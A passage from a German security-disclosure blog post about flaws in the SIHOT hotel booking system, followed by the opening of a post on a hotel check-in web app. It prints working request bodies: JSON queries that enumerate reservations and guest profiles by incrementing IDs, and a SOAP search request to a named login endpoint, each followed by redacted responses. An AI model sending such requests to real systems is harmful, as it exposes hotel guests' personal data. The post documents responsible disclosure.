              "PRICE_CUR": "██"
            },
            "PICKUP_AMOUNTCHILDSEATS_DEPARTURE": "0",
            "STATE": "",
            "PICKUP_COUNTRY_DEPARTURE": "",
            "EXT_REFERENCE": "",
            "LANG": "DE",
            "VOUCHERNUMBER": "",
            "WEB_PRE_CHECKIN": "N",
            "ISBUMPEDOUT": "N",
            "PICKUP_AMOUNTCHILDREN_ARRIVAL": "0",
            "INVOICEHOLDER_LIST": "",
            "DEFAULTPAYMENTTYPE": {
              "PAYMENTTYPE": "",
              "CCLIST": {
                "CCHANDLE": "",
                "CCNO": ""
              }
            },
            "DOCUMENT_TYPE": "",
            "DEP_TIME": "",
            "CURRENCY": "EUR",
            "T_POST_COMMISSION": "1",
            "PICKUP_TYPE_DEPARTURE": "",
            "T_TITLE": "",
            "PICKUP_AMOUNTBAGGAGE_ARRIVAL": "0",
            "PICKUP_CITY_ARRIVAL": "",
            "DEP": "██-█-█",
            "FAX1": "",
            "CITY2": "",
            "FAX2": "",
            "EXTCOMMENT_C": "",
            "POST_AREA": "",
            "VIP": "",
            "VIP2": ""
          }
          // ... usw. für alle Reservierungen des Tages
        ]
      },
      "OC": "RES-SEARCH",
      "TN": "████████████",
      "SIHOT_PROPERTY": {
        "UUID": "████-██-██-██-███████",
        "NAME": "█████████████████"
      }
    },
    "status": 0
  },
  "AUTHORISATION_RESPONSE": {
    "status": -1
  },
  "status": 0
}

Auch hier sagen wir natürlich dem Unternehmen Bescheid, welches uns zusagt, dass der Fix für die Lücke vier Werktage nach unserer Meldung bereitgestellt und eingespielt sein wird.

🐑 1 Reservierung 🐑, 2 Reservierungen 🐑, 3 Reservierungen 🐑 😴

Die nächste Lücke kommt gleich im Doppelpack: über die dataServlet-Schnittstelle können wir nicht nur nach Reservierungen suchen, sondern auch gezielt eine einzelne Reservierung (specific reservation (SS)) abrufen. Dafür brauchen wir die Reservierungsnummer – und die ist relativ lang und nicht trivial zu erraten. Das System akzeptiert aber auch die interne Nummer der Reservierung, die fortlaufend vergeben wird.

Also können wir den ältesten zerforschungs-Trick der Welt anwenden: 🔢 zählen.

Angefangen bei Reservierung 1, dann 2, dann 3, … könnte man so alle Reservierungen im System abrufen.

So können wir auch hier mal wieder Schäfchen zählen – aber nicht für guten Schlaf, sondern straight in den Albtraum rein. 😰

{
  "SIHOT_DOCUMENT": {
    "OC": "SS",
    "ID": 1,
    "OBJID": "50123"
  }
}

Beispielhafte Antwort des Servers (Klicken zum Ausklappen)

{
  "SIHOT_Document": {
    "SIHOT_Version": {
      "EXE": "c:&#92;sihot&#92;SINETRES.EXE",
      "Version": "1105.01.01.0464"
    },
    "RC": 0,
    "OC": "SS",
    "RESERVATION": {
      "TAX_NUMBER1": "",
      "ZIP": ██████,
      "PICKUP_NAME_DEPARTURE": "",
      "TAX_NUMBER2": "",
      "TAX_NUMBER3": "",
      "RES_NR": █████████,
      "PICKUP_ZIPCODE_ARRIVAL": "",
      "NAME_CORRESPONDENCE": "",
      "CANCELLATION_POLICY_DESC": "",
      "EXT_KEY": "",
      "LAST_MOD": "2025-██-██",
      "LAST_MOD_BY_RU": "███",
      "PICKUP_COMMENT_ARRIVAL": "",
      "PICKUP_AMOUNTCHILDREN_DEPARTURE": 0,
      "PICKUP_COMMENT_DEPARTURE": "",
      "DOB": "",
      "NIGHTS": 1,
      "PERSON": [
        {
          "ZIP": ██████,
          "PICKUP_NAME_DEPARTURE": "",
          "PICKUP_ZIPCODE_ARRIVAL": "",
          "NUMBEROFCHILDREN": 0,
          "NAME_CORRESPONDENCE": "",
          "PICKUP_COUNTRY_ARRIVAL": "",
          "FB_COMMENT": "",
          "PICKUP_AMOUNTADULTS_DEPARTURE": 0,
          "PICKUP_TIME_DEPARTURE": "",
          "EMAIL": "███@███.██",
          "PICKUP_COMMENT_ARRIVAL": "",
          "PICKUP_AMOUNTCHILDREN_DEPARTURE": 0,
          "PICKUP_COMMENT_DEPARTURE": "",
          "DOCUMENT_EXPEDITIONCOUNTRY": "",
          "NATION": "",
          "STATUS": "CO",
          "COUNTRY": "███",
          "PICKUP_PARAMETERS_ARRIVAL": 0,
          "DOB": "███-██-██",
          "SALES_CATEGORY": "",
          "PLACE_OF_BIRTH": "",
          "ADDRESS_CORRESPONDENCE": "",
          "PICKUP_AMOUNTCHILDSEATS_ARRIVAL": 0,
          "PICKUP_ZIPCODE_DEPARTURE": "",
          "CENTRALGUEST_ID": ██████████,
          "ROOM_PERS_SEQ": 0,
          "MATCHCODE": "",
          "PICKUP_TYPE_ARRIVAL": "",
          "PICKUP_NAME_ARRIVAL": "",
          "INTERNET_PWD": "",
          "PICKUP_CITY_DEPARTURE": "",
          "NAME": "██████",
          "PICKUP_AMOUNTADULTS_ARRIVAL": 0,
          "PERS_TYPE": "",
          "ADDRESS": 1,
          "CAT": "",
          "PICKUP_STREET_ARRIVAL": "",
          "RN": ███,
          "ROOM_SEQ": 0,
          "PICKUP_TIME_ARRIVAL": "",
          "COUNTRY_CODE": "██",
          "DOCUMENT_NUMBER": "",
          "NAME1X": "",
          "ARR": "2025-01-01",
          "PICKUP_AMOUNTBAGGAGE_DEPARTURE": 0,
          "PCAT": "DZN",
          "DOCUMENT_EXPIREDATE": "",
          "SEX": ██,
          "DOCUMENT_EXPEDITIONDATE": "",
          "PHONE": "",
          "GUEST_TYPE": 1,
          "PICKUP_AMOUNTCHILDSEATS_DEPARTURE": 0,
          "STATE": "██",
          "PICKUP_COUNTRY_DEPARTURE": "",
          "LANG": "██",
          "EXT_REFERENCE": "",
          "COMMENT": "",
          "VOUCHERNUMBER": "",
          "PICKUP_PARAMETERS_DEPARTURE": 0,
          "T_SPECIAL_MEAL": "",
          "GUEST_BRACELET_CONSENT": false,
          "NUMBEROFPERSONS": 1,
          "PICKUP_AMOUNTCHILDREN_ARRIVAL": 0,
          "CREDITALLOWED": false,
          "PERS_ADDRESS": 1,
          "DOCUMENT_TYPE": "",
          "PERS_RATE": {
            "R": "UF",
            "ISDEFAULT": "Y",
            "QUANTITY": 1,
            "GUEST_RATE_TYPES": {
              "GUEST_RATE_TYPE": {
                "GUEST_RATE_TYPE_DESC": "All rate filters",
                "GUEST_RATE_TYPE_KEY": "████████████"
              }
            },
            "RATE_SEGMENT": "",
            "ISPACKAGE": "Y",
            "ISPROTECTED": "N"
          },
          "COUNTRY_OF_BIRTH": "",
          "MATCHCODE_ADM": "",
          "MATCHCODE_SM": "",
          "PICKUP_TYPE_DEPARTURE": "",
          "PO_BOX": "",
          "PICKUP_AMOUNTBAGGAGE_ARRIVAL": 0,
          "PICKUP_CITY_ARRIVAL": "",
          "STREET": "█████████ ███",
          "NAME2": "█████████",
          "DEP": "2025-01-███",
          "CITY": "█████████",
          "CITY2": "",
          "INSURANCETYPE": "",
          "POST_AREA": "",
          "TITLE": "",
          "PICKUP_STREET_DEPARTURE": "",
          "FAX": "",
          "VIP": "",
          "VIP2": "",
          "KITCHEN_COMMENT": ""
        }
      ],
      "ADDRESS_CORRESPONDENCE": "",
      "PICKUP_ZIPCODE_DEPARTURE": "",
      "RESCHANNELLIST": {
        "RESCHANNEL": {
          "ISPRICEOWNER": "Y",
          "COMMISSION": {
            "TOTAL": 0,
            "PC": 0
          },
          "MATCHCODE_SM": "",
          "GUEST_TYPE": 2,
          "CENTRALGUEST_ID": ████████████,
          "MATCHCODE": "",
          "OBJID": ██████,
          "CONTACT_ID": 0,
          "IDX": 0
        }
      },
      "NOROOMS": 1,
      "ROOMINGLIST_STATISTICS": {
        "PERSONNIGHTS": 1,
        "NOADULDS": 1,
        "NOCHILDSFREE": 0,
        "ROMMINGLISTISCOMPLETE": "Y",
        "NOADULDSFREE": 0,
        "ROOMNIGHTS": 1,
        "NOCHILDS": 0
      },
      "SUB_NR": 1,
      "EMAIL2": "",
      "PICKUP_TYPE_ARRIVAL": "",
      "PICKUP_NAME_ARRIVAL": "",
      "EMAIL1": "",
      "ARR_TIME": "",
      "PROMOCODE": "",
      "TEC_COMMENT": "",
      "CHANNEL": "01",
      "PERS_TYPE": "",
      "SALES_DATE": "2024-██-██",
      "RATE_SEGMENT": "",
      "SOURCE": "█",
      "PICKUP_STREET_ARRIVAL": "",
      "PHONE2": "",
      "PHONE1": "",
      "GUARANTEE_TYPE_DESC": "",
      "PICKUP_TIME_ARRIVAL": "",
      "COUNTRY_CODE": "██",
      "GUARANTEE_TYPE": "",
      "DOCUMENT_NUMBER": "",
      "ARR": "2025-01-01",
      "RT": 1,
      "INVOICE_EMAIL": "",
      "PCAT": "███",
      "DOCUMENT_EXPEDITIONDATE": "",
      "GUEST_TYPE": 2,
      "SEX": ██,
      "OBJID": ███████,
      "COMMENT": "",
      "PICKUP_PARAMETERS_DEPARTURE": 0,
      "DEPOSIT_AMOUNT3": 0,
      "CENTRAL_RESERVATION_ID": 0,
      "MOBIL2": "",
      "DEPOSIT_AMOUNT1": 0,
      "T_CALC_COMMISSION": 1,
      "DISABLE_DEPOSIT": "N",
      "MOBIL1": "",
      "DEPOSIT_AMOUNT2": 0,
      "NOPAX": 1,
      "PERS_ADDRESS": "",
      "OUTPUTCOUNTER": 0,
      "CANCELLATION_POLICY": "",
      "GDSNO": "",
      "MATCHCODE_SM": "",
      "PO_BOX": "",
      "ALLOTMENT_NO": 0,
      "LAST_MOD_RU": "2025-██-██",
      "STREET": "█████████ ██",
      "NAME2": "",
      "A_USERFIELD_LIST": "",
      "RES_HOTEL": ███,
      "COMMISSION": {
        "TOTAL": 0,
        "PC": 0,
        "SID": ""
      },
      "LAST_MOD_BY": "███",
      "NN2": "",
      "CITY": "█████████",
      "INSURANCETYPE": "",
      "FIDELITYLIST": "",
      "PICKUP_STREET_DEPARTURE": "",
      "CREATION_TIME": "███████",
      "PICKUP_COUNTRY_ARRIVAL": "",
      "GUEST_OBJID": █████████,
      "PICKUP_AMOUNTADULTS_DEPARTURE": 0,
      "PICKUP_TIME_DEPARTURE": "",
      "DISCOUNT_GROUP": "",
      "NATION": "",
      "DOCUMENT_EXPEDITIONCOUNTRY": "",
      "APERS_TYPE_LIST": {
        "PERS_TYPE": {
          "NO": 1,
          "TYPE": ""
        }
      },
      "COUNTRY": "███",
      "PICKUP_PARAMETERS_ARRIVAL": 0,
      "MEDIA": "██",
      "SALES_CATEGORY": "",
      "CREATED_BY": "███",
      "MARKETCODE": "███",
      "IS_LOCKED": "N",
      "PRICE": 99,
      "PICKUP_AMOUNTCHILDSEATS_ARRIVAL": 0,
      "CREATION_DATE": "2024-██-██",
      "CENTRALGUEST_ID": ████████████,
      "MATCHCODE": "",
      "ASSIGNED_TO": "",
      "FIDELITYORDERERLIST": "",
      "INTERNET_PWD": "",
      "PICKUP_CITY_DEPARTURE": "",
      "NAME": "█████████ █████████",
      "PICKUP_AMOUNTADULTS_ARRIVAL": 0,
      "CAT": "███",
      "POINTS_LIST": "",
      "ADDRESS": "",
      "NN": "",
      "OPTIONUNTIL": "",
      "NAME1X": "",
      "PICKUP_AMOUNTBAGGAGE_DEPARTURE": 0,
      "DOCUMENT_EXPIREDATE": "",
      "ISOVERBOOKED": "N",
      "RATE": {
        "CURRENCY": "EUR",
        "R": "UF",
        "ISDEFAULT": "Y",
        "PRICE": 99,
        "QUANTITY": 1,
        "GUEST_RATE_TYPES": {
          "GUEST_RATE_TYPE": {
            "GUEST_RATE_TYPE_DESC": "All rate filters",
            "GUEST_RATE_TYPE_KEY": "████████████"
          }
        },
        "RATE_SEGMENT": "",
        "ISPACKAGE": "Y",
        "PRICE_CUR": 99
      },
      "PICKUP_AMOUNTCHILDSEATS_DEPARTURE": 0,
      "STATE": "██",
      "PICKUP_COUNTRY_DEPARTURE": "",
      "EXT_REFERENCE": "",
      "LANG": "██",
      "VOUCHERNUMBER": "",
      "WEB_PRE_CHECKIN": "N",
      "ISBUMPEDOUT": "N",
      "CCLIST": "",
      "PICKUP_AMOUNTCHILDREN_ARRIVAL": 0,
      "INVOICEHOLDER_LIST": "",
      "DEFAULTPAYMENTTYPE": {
        "PAYMENTTYPE": "",
        "CCLIST": {
          "CCHANDLE": "",
          "CCNO": ""
        }
      },
      "DOCUMENT_TYPE": "",
      "DEP_TIME": "",
      "CURRENCY": "",
      "T_POST_COMMISSION": 1,
      "PICKUP_TYPE_DEPARTURE": "",
      "T_TITLE": "",
      "PICKUP_AMOUNTBAGGAGE_ARRIVAL": 0,
      "PICKUP_CITY_ARRIVAL": "",
      "DEP": "2025-01-██",
      "FAX1": "",
      "CITY2": "",
      "FAX2": "",
      "EXTCOMMENT_C": "",
      "DEPOSIT_DATE2": "",
      "POST_AREA": "",
      "DEPOSIT_DATE1": "",
      "VIP": "",
      "VIP2": "",
      "DEPOSIT_DATE3": ""
    },
    "TN": "███████████████",
    "ID": ███,
    "SIHOT_PROPERTY": {
      "UUID": "█████████-████-████-████-█████████",
      "NAME": "██████████████████"
    }
  }
}

Jeder Gast bekommt vom System ein Profil, mit seinem Namen, Adresse, E-Mail-Adresse, Telefonnummer, … Als Gast gilt hier die Person, die ein Hotelzimmer bucht – aber auch jede Person, die zusätzlich in diesem Zimmer übernachtet. Auch diese Gästeprofile konnten alle durch einfaches Hochzählen abgerufen werden.

{
  "SIHOT_DOCUMENT": {
    "OC": "GUEST-DATA",
    "ID": 1,
    "OBJID": "50123"
  }
}

Beispielhafte Antwort des Servers (Klicken zum Ausklappen)

{
  "SIHOT_Document": {
    "MSG": "OK",
    "SIHOT_Version": {
      "EXE": "S:&#92;SIHOT&#92;SINETRES.EXE",
      "Version": "1100.05.00.0261"
    },
    "RC": "0",
    "AGUESTLIST": {
      "GUEST": {
        "INTERNALGUESTTYPE": "1",
        "ZIP": "███",
        "ISO_LANG": "de",
        "TAX_NUMBER1": "",
        "TAX_NUMBER2": "",
        "TAX_NUMBER3": "",
        "DATA_PROTECTION": "",
        "COUNTRYDESCR": "Deutschland",
        "RATE_TYPES": "0",
        "DOCUMENT_EXPEDITION_COUNTRY": "",
        "SALES_PERSON_DESCR": "",
        "DOCUMENT_SUBNR": "",
        "DISCOUNT_GROUP": "",
        "NATION": "DE",
        "COUNTRY": "DE",
        "DOB": "██-█-█",
        "PWD": "",
        "SPECIALPRICE": "0",
        "PLACE_OF_BIRTH": "",
        "CENTRALGUEST_ID": "0",
        "DOCUMENT_DATE": "",
        "EMAIL_SUBSCRIPTION_HOTEL": "",
        "MATCHCODE": "████",
        "EMAIL2": "",
        "NAME": "███████",
        "EMAIL1": "███████@█████████",
        "COMPANY": {
          "PASSWORD": "",
          "GUESTTYPE": "1",
          "CENTRALGUEST_ID": "0",
          "MATCHCODE": "",
          "OBJID": "████",
          "PWD": "",
          "COMPANY": "████████████████"
        },
        "COMPANY_NAME": "",
        "MATCHCODE_ISN": "",
        "PASSWORD": "",
        "PERS_TYPE": "█",
        "ADDRESS": "█",
        "T_DELETED": "0",
        "RATE_SEGMENT": "",
        "PHONE2": "",
        "PHONE1": "+49 ███ ████████████",
        "LOYALTY_FLAG": "0",
        "INVOICE_EMAIL": "",
        "DOCUMENT_SUBNR2": "",
        "EMAIL_SUBSCRIPTION_DATE": "",
        "GUESTTYPE": "0",
        "STATE": "█",
        "OBJID": "█████",
        "LANG": "DE",
        "DOCUMENT_EXPIRE_DATE": "",
        "CLASSIFICATION_05": "",
        "MOBIL2": "",
        "CLASSIFICATION_04": "",
        "MOBIL1": "",
        "CLASSIFICATION_03": "",
        "CLASSIFICATION_02": "",
        "CLASSIFICATION_01": "",
        "INVOICEHOLDER_LIST": "",
        "MARKETSEGMENT": "BAR",
        "SALES_PERSON": "",
        "DOCUMENT_TYPE": "",
        "LOYALTY_STATUS": "",
        "MATCHCODE_ADM": "",
        "MATCHCODE_SM": "",
        "DOCUMENT_NO": "",
        "T_TITLE": "",
        "ADDITIONAL_CRITERION_CODE1": "",
        "ADDITIONAL_CRITERION_CODE2": "",
        "STREET": "",
        "NAME2": "██████",
        "LOYALTY_DATE": "",
        "CITY": "████████",
        "FAX1": "",
        "ADDITIONAL_CRITERION_CODE5": "",
        "SERVICEID": "",
        "FAX2": "",
        "ADDITIONAL_CRITERION_CODE3": "",
        "T_MAIL": "",
        "ADDITIONAL_CRITERION_CODE4": "",
        "DEFAULT_PAYMENT_TYPE": "",
        "T_SMOKER": "",
        "TITLE": "",
        "VIP1": "",
        "ACARDLIST": "",
        "VIP2": "",
        "EMAIL_SUBSCRIPTION_PARTNER": ""
      }
    },
    "OC": "GUEST",
    "TN": "██",
    "ID": "1",
    "SIHOT_PROPERTY": {
      "UUID": "██████",
      "NAME": "██████"
    }
  }
}

Endlich im Bett. Wobei, bitte doch noch ein anderes Kissen?

Zur SIHOT-Suite gehört auch die SIHOT.GO-Web-App, über die die Gäste im Zimmer noch eine Pizza oder ein Kissen beim Zimmerservice nachbestellen, ihre Rechnung anschauen oder mehr über das Hotel erfahren können.

Um SIHOT.GO zu nutzen, muss man der Web-App zuerst verraten, welcher Gast in welchem Zimmer man eigentlich ist. Dafür muss man die Reservierungsnummer und den Nachnamen eingegeben. Diese Infos werden dann in der Reservierungsdatenbank gesucht und wenn ein passender Eintrag gefunden wird, ist man eingeloggt. Dieser Such-Endpunkt erlaubt allerdings – erneut – auch eine Suche nur nach Datum und gab – erneut – daraufhin eine Liste aller passenden Reservierungen zurück.

Hierfür braucht es nur einen POST-Request an https://go2.sihot.com/{CLIENT_ID}/SIHOTGO/login?HN=1 ({CLIENT_ID} ist die 4-stellige Client-Nummer des Hotels) mit folgendem Inhalt³:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
					xmlns:s="http://www.gubse.comXXX_DUMMY_REPLACE_XXX.xsd">
	<soapenv:Header/>
	<soapenv:Body>
		<s:S_GO_RESERVATION_SEARCH_V001Request>
			<s:TransactionID></s:TransactionID>
			<s:Authentication>
				<s:SecurityID></s:SecurityID>
			</s:Authentication>
			<s:ReservationSearch>
				<s:arrival>2025-01-01</s:arrival>
			</s:ReservationSearch>
		</s:S_GO_RESERVATION_SEARCH_V001Request>
	</soapenv:Body>
</soapenv:Envelope>

Die Antwort war dann ein langes XML-Dokument mit allen Buchungen, die an dem gesuchten Tag anfangen:

Beispielhafte Antwort des Servers (Klicken zum Ausklappen)

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope
	xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
	xmlns:xsd="http://www.w3.org/2001/XMLSchema">
	<SOAP-ENV:Body>
		<S_GO_RESERVATION_SEARCH_V001Response
			xmlns="http://www.gubse.com/IFS/SihotServices01.xsd">
			<Result>
				<Success>true</Success>
				<ErrorMsg/>
				<MSG-LIST/>
			</Result>
			<ReservationSearchEntry>
				<RESERVATION-OBJID>████</RESERVATION-OBJID>
				<resno>███</resno>
				<subno>█</subno>
				<restype>█</restype>
				<cancellationdate/>
				<noofrooms>█</noofrooms>
				<noofnights>█</noofnights>
				<arrival>2025-01-01</arrival>
				<arrivaltime/>
				<departure>█-█-█</departure>
				<departuretime/>
				<gdsresnumber/>
				<centralid>███████</centralid>
				<externalid>███████████</externalid>
				<externalkey/>
				<externalreference/>
				<ratecategory>█</ratecategory>
				<ratesegment/>
				<resmedium>██</resmedium>
				<ressource>█</ressource>
				<forecastnoofadults>█</forecastnoofadults>
				<forecastnoofchildren>█</forecastnoofchildren>
				<forecastnoofpax>█</forecastnoofpax>
				<forecastrategross>██</forecastrategross>
				<forecastratenet>██</forecastratenet>
				<deposit>█</deposit>
				<hasautoservice>█</hasautoservice>
				<currency/>
				<commentcentral/>
				<commenttechnical/>
				<Orderer>
					<ORDERER-OBJID>████</ORDERER-OBJID>
					<name1>█████████</name1>
					<name2>█████████</name2>
					<country>██</country>
					<subcountry>█</subcountry>
					<postcode>███</postcode>
					<city>████████</city>
					<street>█████████████</street>
					<hqmatchadm/>
					<hqmatchisn/>
					<hqmatchsm/>
					<matchcode/>
					<iata/>
				</Orderer>
			</ReservationSearchEntry>
			<!-- ... -->
		</S_GO_RESERVATION_SEARCH_V001Response>
	</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Auf die gemeinsame Meldung dieser Lücke und der beiden Hochzähl-Lücken davor, teilt uns das Unternehmen mit, dass die Fixes etwas komplexer sind und sie dafür 5 Werktage brauchen werden.

Wir wollen doch einfach nur schlafen

Es ist kaum zu glauben: so viele Lücken auf einem Haufen. Und dann auch noch mit derart sensiblen Daten.

Durch die Lücken waren abrufbar (wenn auch nicht alle Daten bei allen Lücken und nicht immer vollständig ausgefüllt):

Name
Adresse
E-Mail-Adresse
Telefonnummer
Geburtsdatum
Ausweisnummer
Die letzten 4 Stellen der Kreditkartennummer
Check-In- & Check-Out-Datum
Zimmernummer
Interne- sowie Kundenkommentare
Preise
IDs von Schlüsselkarten
Reservierungsnummer

Und das Ganze nicht bei einem Mini-Hotel mit selbstgefrickelter Software (das wäre schon schlimm genug), sondern bei einem großen Anbieter, u.a. verwendet durch eine der größten deutschen Hotelketten.
Betroffen waren Millionen von Menschen – darunter nochmal besonders gefährdete Gruppen wie Journalist*innen und Politiker*innen.

Daten sparen = Stress sparen

Manche der Buchungen waren aus dem Jahre 2005, also selbst schon längst volljährig. Da fragen wir uns schon sehr, warum so etwas überhaupt noch gespeichert ist, geschweige denn in einem Buchungssystem, das aus dem Internet erreichbar ist.

Datensparsamkeit ist immer eine gute Idee: Wenn die Daten nicht (mehr) in einem System gebraucht werden, sollten sie dort auch nicht mehr gespeichert werden. Spätestens ein paar Wochen nach dem Aufenthalt braucht es nicht mehr alle Informationen zur Buchung im Buchungssystem.

Zwar gibt es Aufbewahrungsfristen, die die Hotels teils zur längeren Speicherung verpflichten. Aber das bedeutet nicht, dass die Daten im Buchungssystem bleiben und aus dem Internet zugänglich sein müssen. Stattdessen könnten sie beispielsweise auch in ein besser abgeschirmtes System überführt werden, auf das viel weniger Leute Zugriff haben.

Und manche Daten braucht es so lange gar nicht: Spezialwünsche der Gäste (»Bitte ein Fenster, aus dem man gut trainspotten kann.«) können nach dem Check-Out gelöscht werden. Ausweisdaten braucht ein Hotel nur für den Meldeschein – der wiederum muss ein Jahr gespeichert und dann innerhalb von drei Monaten gelöscht werden (§30 BMG).

Personenbezogene Daten sind kein Öl, sondern Giftmüll, und sollten von Unternehmen auch so behandelt werden. Nicht möglichst lange aufbewahren, sondern möglichst sicher verschließen und dann entsorgen, sobald es geht.

Besser gleich richtig machen

Je mehr wir uns mit dem System auseinander gesetzt haben, desto mehr hat sich bei uns der Eindruck verfestigt: Hier handelt es sich nicht um ein einmaliges Versehen in einem ansonsten perfekt gesicherten System. Es scheint eher so, als wäre hier strukturell etwas kaputt.

Sichere Software fällt nicht einfach vom Himmel. Dafür braucht es unter anderem gute Prozesse, passende Architektur-Entscheidungen, ein Bewusstsein bei allen Entwickler*innen und regelmäßige (Selbst-)Kontrollen, beispielsweise durch gute Pentests.

Wir sind bestürzt darüber, dass es wirklich wieder die simpelsten Lücken sind. Eine aufsteigende Reservierungsnummer oder Gästenummer hochzuzählen und damit Zugriff auf die Daten von bisherigen, aktuellen und zukünftigen Gästen des Hotels zu bekommen, sollte in diesem Jahrzehnt wirklich nicht möglich sein.

Und eine geschlossene Lücke sollte nicht direkt wieder aufgehen, nur weil wir unsere Anfrage minimal anders in Geschenkpapier einwickeln.

Denn es gilt immer: Wenn die Software marktreif genug ist, um Daten von Hotelgästen speichern zu dürfen, muss sie auch reif genug sein, diese für sich zu behalten. Und ja, reif gilt vor allem, wenn die Software laut Angaben des Herstellers mittlerweile ihren 39sten Geburtstag feiern kann. Glückwunsch 🍾

Auch die Hotels sind in der Pflicht

Und das gilt nicht nur für die Hersteller solcher Software, sondern auch die Kund*innen. Wir fragen uns schon, wie Motel One, die vor wenigen Jahren erst Opfer eines Hackerangriffs wurden, trotzdem Software einsetzen kann, die derartige Sicherheitslücken hat.

Eine Hotelkette dieser Größe kann es sich leisten, so zentrale Systeme genauer unter die Lupe zu nehmen. Wir finden, dass genau das zur Verantwortung eines Unternehmens gehört: Wenn ich eine Software einsetzen will, sollte ich genau schauen, ob sie auch taugt.

Und dazu gehört eben auch, dass sie die ihr anvertrauten Daten gut schützt – und wir uns als Hotelgäste auch endlich ein bisschen erholen können.

Timeline

2025-09-09: Zerforschi bucht Hotel, findet Lücke
2025-09-10: Erste Meldung an das Unternehmen (GUBSE)
2025-09-12: Unternehmen erklärt erste Lücke für geschlossen
2025-09-12: Meldung über SQLi bei dieJugendherbergen an GUBSE
2025-09-15: GUBSE hat Meldung an dieJugendherbergen weitergegeben, Adminbereich abgeschaltet
2025-09-22: Meldung über weitere Lücken, auch in der Instanz von Motel One
2025-09-23: Meldung über Lücke in SIHOT.GO!
2025-09-24: Unternehmen plant Fix und Rollout bis Ende der Woche

Unsere Recherchen haben wir mit Svea Eckert, Ciara Cesaro-Tadic und Palina Milling von NDR & WDR sowie mit Lea Weinmann und Sebastian Erb von der Süddeutschen Zeitung geteilt. Ihre Artikel findet ihr hier:

An solch einem Artikel sitzen wir als Kollektiv deutlich länger als eine Übernachtung im Hotel, vom Finden der Lücken, über das Schreiben der Reports, zum Finden noch weiterer ähnlicher Lücken, bis zum Umgang mit den betroffenen Unternehmen und der Veröffentlichung dieses Posts.

Falls euch dieser Artikel gefallen hat, freuen wir uns über Unterstützung für besseren Schlaf (aber bitte keine Hotelgutscheine).

oh-oh, die hatten doch gerade erst ein kleines IT-Sicherheitsproblem ↩︎
Auch wie beim letzten Mal, wir begrüßen öffentliche API-Dokumentation. Nur muss die Schnittstelle dann auch sicher sein. ↩︎
ja, das XXX_DUMMY_REPLACE_XXX geht wirklich so über die Leitung. ↩︎

Hotel: Check-in 🤝 Daten: Check-Out

Wed, 24 Sep 2025 16:55:00 +0200

Guter Schlaf ist wichtig. Das wissen auch Hotels – und versprechen mehr davon, wenn man schon vor Ankunft online eincheckt. Natürlich ist es auch günstiger für die Betreiber, Personal an der Rezeption einzusparen und stattdessen eine Maschine hinzustellen. Oder noch besser: den Check-In einfach komplett durch die Gäste auf ihren Smartphones erledigen zu lassen.

Das ist schon auch komfortabel, aber spätestens seit die Sicherheitslücken bei der Hotelkette Numa bekannt wurden, haben wir bei der Kombination aus “Online-Check-In” und “mehr Schlaf” aber doch ein paar Fragezeichen im Kopf. Denn uns interessiert natürlich: Wie funktioniert der Check-In technisch und können wir ihm vertrauen?

Spoiler: Nope, leider nicht…

Kommt mit auf eine Datenreise.

Can I have a little Urlaub? 👉👈

Sommerzeit heißt Reisezeit. Auch wir waren viel unterwegs, haben das ein oder andere Hotelsystem verwendet und irgendwann ist es passiert – uns sind Daten, Rechnungen und Ausweiskopien der anderen Hotelbesucher*innen entgegen gefallen. Vorbei war es dann mit dem guten Schlaf.

Aber von vorne: Nach einer längeren Zugreise schon vor der Ankunft im Hotel online einchecken kann sehr bequem sein. Mitunter verlangen Check-In-Formulare aber eine ganze Menge Daten, die gar nicht unbedingt nötig wären.

So auch in unserem Fall: Ohne Name, Geburtsdatum, Anschrift, eine Unterschrift und sogar ggf. Fotos von den Ausweisdokumenten kein Zimmerschlüssel. Praktisch: Während des Aufenthalts kann dann über das gleiche Portal auch gleich ein Wasserkocher für’s Zimmer dazugebucht werden – und nach dem Aufenthalt gibt es dort dann auch direkt Zugriff auf die Rechnung.

Kleine Web-App, große Wirkung

Die Software, um diese Daten zu erfassen, schreiben die Hotels in der Regel nicht selbst, sondern das machen Softwaredienstleister (wie in vielen anderen Bereichen auch). Im heutigen Fall die Firma likeMagic AG aus der Schweiz🍫. Diese bietet eine Plattform, über die Hotelmitarbeitende sämtliche Arbeiten, die in so einem Hotel anfallen, mit einer Web-App verwalten. Und weil es natürlich ~~bequemer~~ billiger ist, wenn die Gäste sich selbst einchecken und den Zimmerschlüssel aufs Telefon bekommen, gibt es noch eine weitere WebApp für die Gäste.

Damit diese für jedes Hotel bzw. jede Hotelkette auch in den Markenfarben (und -Domains) des Hotels erstrahlt, ist die Gäste-WebApp unter einer Subdomain der Hotelwebseite erreichbar. Damit ist auch von likeMagic als Serviceanbieter erstmal nichts zu sehen. Als Beispiel-URL für diesen Blogpost nehmen wir https://my.examplehotel.invalid.

Check-In? Check-Out!

Ein paar Tage vor unserem heiß erwarteten Hotelbesuch ist es dann soweit: Wir bekommen eine E-Mail mit dem Check-In-Link für unseren Aufenthalt.

Also los, Check-In-Formular geöffnet und mit Daten befüllt. Nachdem wir alles eingegeben haben, müssen wir unseren virtuellen Meldeschein “unterschreiben”. Das geht entweder per Rumkritzeln auf dem Smartphone oder als Kunstwerk per Maus, aber likeMagic bietet auch eine Komfort-Funktion an und generiert automatisch eine Unterschrift: einfach den eigenen Namen in traumhaft schöner Schreibschrift. Und damit sind wir auch schon fertig mit dem Check-In.

Wir haben uns dann doch fürs rumkritzeln entschieden 🖍️. Und ja: Der Hinweis mit dem Gesetzgeber steht da wirklich so ☝️

Aber als gute zerforschis haben wir natürlich schon laaaaaange vorher die Entwicklungstools unseres Browsers geöffnet 👩‍🔬. Die protokollieren unter anderem die ganze Zeit mit, welche Daten die Website so an ihre Server sendet. Zuerst werden die eingegebenen Daten losgeschickt, und dann zum Schluss unsere “Unterschrift” hochgeladen. Das ganze quittiert der Server und sagt uns zur hochgeladenen Unterschrift gleich noch, unter welchem Dateinamen er sie abgespeichert hat und wie groß sie ist.¹

{
  "createdAt": "2025-09-05T12:34:51.123456789Z",
  "updatedAt": "2025-09-05T12:34:51.123456789Z",
  "version": 0,
  "tenant": {
    "id": 69,
    "name": "zerdreams",
    "description": "ZER Hotels für Guten Schlaf und Sichere Daten",
    "createdAt": "2020-09-21T01:23:45.123456Z",
    "updatedAt": "2020-09-21T01:23:45.123456Z",
    "version": 0
  },
